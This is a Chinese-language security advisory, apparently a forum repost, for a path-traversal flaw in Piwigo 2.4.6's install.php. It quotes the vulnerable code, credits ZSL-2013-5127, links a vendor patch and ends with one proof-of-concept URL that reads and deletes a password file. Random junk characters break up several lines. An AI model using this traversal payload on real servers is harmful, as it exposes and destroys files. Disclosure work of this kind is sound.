Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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5 n1 q' L2 v* n4 p& w1 ?* ?/install.php:
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' N5 {9 ?& ^6 q0 ]113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
; r  f' X& k) d, ]  w114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
0 G1 L1 e6 k: D# y  \( U" [  A117:   header('Pragma: no-cache');
* i) X! T# A  |) x2 {5 I118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
7 P$ f9 h4 Q% @5 j9 T; z/ R120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
) g* N! e9 D7 t123:   exit();
124: }
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
/ i2 I5 R( x( P0 Z* f& N           PHP 5.4.4
           MySQL 5.5.25a
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Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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Advisory ID: ZSL-2013-5127
3 n! t/ d! N1 A8 z  GAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

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4 |" J- l; o& x8 g) T+ m" Fhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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